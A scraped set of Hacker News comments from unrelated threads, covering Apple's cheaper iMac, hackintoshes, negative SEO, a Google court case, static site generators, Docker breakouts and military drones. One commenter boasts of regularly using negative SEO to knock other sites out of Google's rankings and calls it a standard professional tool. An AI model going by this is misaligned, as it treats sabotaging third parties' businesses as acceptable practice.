And you could keep "spares" to add and remove keys that are/aren't in your chosen language. Really cool idea.
It's a pretty bold claim, some hard evidence would bolster that claim considerably. As it is this is one step above hearsay but the whole thing amounts to a possibly fictional conversation with another SEO type and a pretty graph. Without real information Google could not disprove the claims made here and they carry zero weight with me until substantiated. And I'm not exactly google's best friend.
I do all my development work (which involves a lot of heavy Scala stuff) on a 2012 MacBook Air, which is a wee bit slower than this one. The CPU really is not a problem.

There's no SSD or 'Fusion Drive' in this one, which will make it bog down a lot. It's a shame that Apple won't go for a $999 model with a 64GB SSD or something. Should be enough for classrooms and anyone who wants a basic computer.
Please don't forget that many companies may go through multiple SEO/marketing agencies before they find a team that knows what they are doing. Just because someone is cleaning it up doesn't mean they made the mess.
"It's a fair question"

No it's not, it's circular reasoning. If Google and Netflix were so worried about regulating the Internet destroying their business, I think those companies could speak for themselves.
Typically using source code as a direct reference would mark the product as a derived work. You need an appropriate free license to do it. I wonder if this written premission is enough to remove the taint.

Just slides though. Haven't gotten around to writing a post about it yet.
I bought an iMac in 2012 for £860 (student discount, original price £1000) and sold it one and a half years later for £600.

I also bought a 13" Sony Vaio S for around £1200 in 2011 and had to sell it 6 months later, because it was a total piece of shit. I got £650 for it.

So I'd argue that buying cheap plastic crap is in fact the non-budget option.
The way you can easily slide them to perfectly arrange them is pretty neat too. I can see this work well in prototyping settings with DIY contact switches (two layers of aluminium with a piece of foam and a hole, basically).
I was a Jehovah's Witness and since leaving three years ago I have been struggling to differentiate between cult tactics and the control tactics of that particular religion.
The issue is that a lower court issued a temporary injunction against Morgan Jack to stop selling their products in British Columbia while the issue was being sorted out at trial. Morgan Jack then disappeared "into the cloud" and continued to sell their products online, via links to their products in Google search results. Equustek then claimed that Morgan Jack was still in violation of the court order to stop selling in BC, and that's the issue that has gone to the BC Supreme Court: Is Google "doing business" in BC when it presents Morgan Jack's links to BC residents? The court ruled that under the current rules, Google is indeed doing business in BC, and can be ordered to remove links to Morgan Jack by a BC court.
Can I replace the disk with an SSD easily?

Probably not! :(

Since SSL is only available on their paid plans, any websites with "serious" features (user login, payment) will have to migrate to such a plan.
Obviously, you can serve your assets from cloudflare from a different domain than one you use for html but you're not supposed to do that and you're mixing crypted and unencrypted data, which is usually bad.
And the cost of significantly more complexity and a far from optimal user experience. A hackintosh is fine for a very minute slice of the population. Even building a PC, except for hard-core gamers, isn't really a thing anymore.

If the thing costs $100mm apiece agreed that it's best if it does not fail.

If it costs $1mm apiece I am less convinced.

How much money is spent engineering to ensure that There Can Be No Failures (tm) of the first flight versus me accidentally destroying the first dozen $1mm drones? Which represents a false economy?

Remember that a drone doesn't have a pilot on-board so if it goes down in flames we're only out the money, not human life.

I appreciate your passion for the subject man, but I feel like you're purposefully taking stuff out of context and generally ignoring a lot of what I write. I've said nothing about space. And I've mentioned several times that I'm not talking about making things that would pass US military muster! The way the US military conducts business is not the ONLY way to conduct business. It's been fairly successful so far but it does not immediately follow that it's the only way.

We lost in Vietnam because it was a war of attrition that our military was completely unprepared to adapt to. We said that we won but in the end it was us that left, not the enemy.
Don't mess this up SolarWinds....
Although they could certainly have something in their algorithm that says: "This site as always been very good and now all the sudden it's getting a bunch of spam links. Ignore those links." It's not like you are going to use negative SEO to bring down a wikipedia but I could see it happen against sites that would be a Pagerank =< 6.
I just find it hard to believe we can't work out who these people are. Impressive work on their part. bet the NSA do!
Phantomas: PhantomJS-based web performance metrics collector and monitoring tool
I'd agree with your assessment. We're testing an SSG with an international website to see what the experience is like. We've traditionally used Drupal, although we use almost zero of the CMS-functionality of Drupal (hence why we were looking at SSGs). We're using Hexo for this deploy. Here's what we've found:

- For complex web pages with a lot of design, we have to put most of the content into .jade files - mainly because of the style of our webpages (long-single-page style with a lot of sections). If we were doing a more traditional page structure, then we could have markdown files. This is "ok" but requires content authors to get into .jade files which can be a little intimating. (if anyone has any thoughts about how to get around this, I'm open to hear them).

- We're storing the files in Github, but have now figured out that if we want a distributed team to work on this, we'll need something like Jenkins to auto-deploy to a staging server on commit. The problem is that the first thing people want to do once they've made an edit check the page to see if it worked. This is trivial in WP or Drupal, but without Jenkins in place, I don't see an obvious way to do it unless we have the content folks run Hexo locally (which I'd like to avoid).

- Huge improvement in the speed of the site vs. the Drupal website. Not shocking given the move to static files, but there is also a reduction in javascript - some of which was coming from Drupal.

- Nice to have all content under source control.

All in all, it's a bit of a mixed bag at the moment - the SSG is supposed to be a simplification of our stack, but now we have to run Jenkins to manage deploy (probably not a bad thing but no one here is an expert in it), and our content people are finding it a bit intimidating.

My worry: we setup all this stuff, and then someone key on the engineering team leaves and we're left with an overly complex stack vs. just going with Wordpress.
Can you please mention the full model number of the 31.5" dell that you are talking about? Or a link?
Yeah, a fusion drive would be a perfect default for this type of computer. It would feel fast while still giving a regular desktop user plenty of space for their media.
Curious. I have a related disease (Ulcerative Colitis) and I believe that the straw that broke the camel's back for me was also a course of antibiotics. I got ill also about the same age as you.

In retrospect, the initial "change" for me came years beforehand after a case of severe food poisoning. After that I struggled with certain foods; seafood for example made me instantly ill, whereas previous to the food poisoning incident I could handle almost any kind of food without issue.

I have recently seen an improvement in my UC after being prescribed with large doses of Vitamin D. I was suffering badly from exhaustion and fatigue, related to the side effects of UC and the medication I have to take against it. In combination with lots of foods that help with the intestinal flora, such as yogurts and pro-biotics (Yakult) I'm feeling much more healthy.

I don't think that one single thing causes these kinds of illnesses. I think it is a combination of factors that come together in a perfect storm. Genetics, stress, tiredness, diet and then damage to the intestinal flora (processed food / antibiotics) I think are all factors.
It's not that necessary. Sure, I use macbooks now because they're kinda great hardware. When my parents were looking for a new all-in-one, they could get all this for about half the cost with a Windows PC that they already knew how to navigate around.
I thought it was odd that this statement seems to avoid using words like 'acquire', 'buy' or anything else the would mean Pingom has been purchased by SolarWinds. It wasn't until I clicked on the FAQ link that I was sure that an acquisition has just happened :s

>1.4 GHz dual-core Intel Core i5 processor with Turbo Boost Speeds up to 2.7 GHz, Intel HD 5000 graphics, 8GB of memory and a 500GB hard drive.

Eh.. I got similar specs in laptop form for about half the price on black Friday last year.

I'd like to get something like this for a desktop but I'm afraid my Ubuntu might have some issues on the hardware. I'll wait until I find it slightly used for half the cost.

On a side note: Is absolutely everything Apple does "HN worthy"?

Looks like big oil is shorting renewables again rightly or wrongly. There can't be any denying how quickly coal and gas are growing, likewise how renewables has had a shakedown in the last few years.

What is intriguing however is just how big oil - BP, Shell, Exxon etc - are really going to move away from the fossil cash cows in the future when the stuff gets too expensive to extract or when everyone moves onto something else.

Definitely, renewables is a huge opportunity for new entrants, possibly the biggest economic opportunity in business today in many ways given what's at stake.

Oh cool. Didn't realize it was considered a word by itself. I guess it can be considered slang since it's on urban dictionary.
The number of gigahertz is irrelevant these days - unless you're doing heavy computation or playing games.
Lobbying Google to reverse course now is surely a lost cause. Google has a vested interest in improving the user experience of Google. Not the profitability of every other site that has a symbiotic relationship with Google by optimizing against their ranking system. So even if you do have a quality site, and they did open a door to allow your competitors to blast you with bunk backlinks, all this is completely hidden from Google's user base and so they ultimately don't care.

Maybe what website owners should do here, if they have lost considerable money, is file a class-action suit against Google. I'd actually be surprised if no one is doing this.

This is a really interesting subject, anyway. Thanks for the post. I would love to hear a follow-up about how people with web properties can guard against negative SEO. Maybe by keeping your site registered under multiple domains at a time? Or moving your content around on the same domain with permanent redirects? I dunno, it really seems like this is changing the whole industry.
I'll speak to this a bit...

Transistor logical state, typically logical 1 or logical 0, is represented physically by positive and negative charges, respectively. Therefore, we can change the device logical output of 1 or 0 by changing the charge output as positive or negative.

However, to change the charge of a piece of metal from positive to negative (or neutral to negative... it doesn't matter because we're worried about relative change), you need to physically move electrons (charge) on or off the metal. This movement of charge is real 'work' if you're unable to fully recover the charge when the device changes state. This results in spent energy.

Leakage current is important to consider mainly for power and heat transfer. As we require devices to increase computing performance and decrease power consumption, it is important to use techniques that economically reduce power. As power consumption of a chip increases, the spent energy of a toggling transistor becomes heat that needs to be removed in order to ensure proper functionality (in the worst case, the chip burns itself up). Therefore, proper thermal simulation and validation must be made at the system level (depending on what type of designer you are).
Great idea until people start going hungry.
1.4GHz isn't as slow as you think due to Turbo Boost. The effective clock speed is much higher, it just runs in lower-energy mode most of the time.

Speaking as someone with a MacBook Air who does software development (compiling large projects like the Zend engine).
Why are you even arguing with this? Do you have any experience with SEO?

I use negative SEO regularly to drop sites out of the top 10 in Google. I only target low quality sites that shouldn't be in there anyway, but Google in all their algorithmic wisdom has ranked them, so... I knock them out.

Low quality 5 page Adsense sites shouldn't outrank actual, legitimate businesses so it's just a case of click click, BOOM. I never target the actual competitors of my clients.

Negative SEO is part of the toolkit of any competent SEO professional nowadays. It just has to be.
Agreed.. very confusing messaging..

SSD and Fusion are BTO options just like on the rest of the iMac line.

My bigger complaint is that the RAM is non-upgradable even as BTO. I really couldn't imagine if I had to bring my computer back down to 8GB RAM from 16.
Calling something illegal is usually reserved for things that are in the criminal code. There is no law against running Mac OS X on non-Apple computers. No one will be going to jail. Nothing will happen. You don't even have to feel bad. Apple would have to sue in civil court and would have to prove damages. They would not be able to prove damages.
Living in a country where religiosity is low (France), I can attest I don't feel any void. What I often see however is other people pretending I have a void. Some even say I don't believe in anything. Well, I believe in the potential of Science, I believe in a small hope of actual immortality (if not for me, maybe for later generations), I believe in love, and lots of other fine things in life.

But if I were to out as an atheist in a deep corner of Religious America… I guess the resulting ostracism would leave a void.

As for being wired for religion, I don't believe it. Granted, we have some biases, like our tendency to see sentient agents everywhere, that tend to favour religious interpretations of our observations. To suggest however that more accurate interpretations leave a void is a stretch. If I have a God shaped hole, it is mostly filled with physics. Any remaining void just fuels my curiosity.
$1.4m per strike probably isn't really cost-effective for smaller countries that aren't spending trillions on their military.

> And the cost of significantly more complexity and a far from optimal user experience.

I've never done a Hackintosh (very happy with other unixes), but is this true? Certainly more complexity with setting it up, but afterwards? If you follow http://www.tonymacx86.com/home.php and get hardware they recommend and follow their guides isn't it pretty close to Apple's own computers?
I have a hackintosh, and it's a nightmare.

Even though I copied a "gold build" from "TonyMacx86" (the "hackintosh authority"), the machine freezes randomly every hour, sometimes a week. But it will freeze and I'll have to do a hard reset.

Also, many of Apples services won't work with a hackintosh. iMessage and FaceTime, for example. To fix it, you'll need to call Apple and convince them to whitelist your fake generated system ID, risking getting your apple ID banned.

Something also happened during the installation so I have to have a Mavericks USB drive attached at all times to boot the damn thing.

Oh, and don't forget you have to reconfigure the whole thing when you apply an update.

Had I known these things I'd just have saved up a little more and bought the real thing.
This has a 1920x1080 display.

I fail to understand why someone would buy this over a Mac Mini and an external display: cheaper, more powerful, ability to change displays, only two more cables (power and data for the display).

Anyone care to enlighten me?
Ask HN: What kind of personal robotic services would you buy?
If you could pay for robots to complete a personal or small business service, what would it be? Not looking for what's practical today, just ideas. Also, what would you definitely not want or trust a robot helping you with?
Glad they are moving a little downmarket. My friend wanted a new computer, and I figured an iMac would be perfect for her, because she just plans to sit it on a desk. But then I looked at the prices... who wants to spend $1299 on a desktop machine nowadays? And that's with no SSD, so a Macbook Air is probably going to be faster for a lot of stuff in day-to-day to use.
Well, your comment about the 'root cause analysis' suggests you need something more substantial than this, but I've been very pleasantly surprised with www.uptimerobot.com.

I have both Pingdom and Uptime Robot doing basic monitoring of a single web endpoint and Uptime Robot consistently alerts me to downtime by email faster than Pingdom.

Because Uptime Robot is free and doesn't have (lacks?) a business model I didn't take them that seriously. Their performance suggests otherwise.

Against the licence != illegal, depending on where you are in the world. In most EU countries, if you show the receipt of purchase for a stand alone copy of OSX, you can install it on anything you like legally,EULA prohibiting that would never stand up in any European court.
The kernel version is just as important, if not more important. I've performed tests that have given me non-specific breakout capabilities on certain combinations of Linux and Docker. I haven't however, as is done here, reproduced and written an exploit.

As an employee of Docker, I feel it is more important to me to know if we can breakout and patch those issues than to write viable exploits for them.

I have noticed that newer kernels and Docker versions (such as 1.0) are currently more difficult to break out of than they were in earlier versions. Again, however, it's highly dependent on the pairing.

What's important to recognize here is that even with breakout potential, containers should add a useful layer of security to break out of that wouldn't otherwise exist. Containers should never remove security from your system, they should only add to it. However, although deployers may find the removal of virtual machines to weaken their security story. The "secure all the things" story would be to put Qemu in a container, then run containers inside the VM.

Otherwise, security practices are as they always have been: Don't leave setuid binaries floating around, etc.
1) it's thin and pretty

2) self-contained. Only a power cable is required. Makes a neat desk.

3) it's completely silent (but then again so is a mac mini)

4) the higher-end models have an actual graphics card (mac mini has very bad graphics)
This is for the education market, IMO.

Thinktank: UK Should Privatise the Pound and Embrace Cryptocurrency
Yeah, maybe it isn't easy to make the AI distinguish "aggressive behaviour", or even do good visual ID. But how's this for a use case:
Simply declare a restricted airspace, where every plane needs to have transponder replying correctly to some challenge-response authentication protocol. Distribute transponders to allies. Tell about zone in the evening news, so that everyone knows. Then program drones to shoot down anything that doesn't respond correctly.
I'm pretty sure that it's a lot cheaper to design and build drone with same performance characteristics as top A2A fighter, there's so much that you don't have to worry about: human rating everything (you don't have to make so damn sure that everything works without the hitch first time), all the control systems that you have to build the pilot an interface to (radar, etc.), the cocpit..
I'm sure those will easily pay for developing a competitive fighting-AI.

Imagine the shock, when one sinks their teeth into one of those beautiful, perfect looking, huge, shiny, spotless and bright red strawberries, and instead of the expected explosion of sweet, fruity flavor, the mouth fills with the tart, watery and astringent culinary assault familiar to the poor flavor deprived Dutch. How can a fruit so perfect in appearance be so offensive in taste that one would only feed it to a horse as a punishment for kicking a child.

I believe it was Theo de Raadt who once said, "Why does everything think that when it comes to writing VM/container software suddenly people gain super human programming powers and no longer make the same mistakes they make writing operating systems?" (Slightly paraphrasing).

While the issue is currently fixed in the .12 and 1.0 versions. I doubt Docker is still completely bullet proof.

The TLDR seems to be using the wrong tool for the job is possible but painful, and using the right tool for the job makes life easy. With a side dish of billing and payments is a really giant and diverse ecosystem, so whats perfect for them is probably not adequate for us, and likely vice versa.
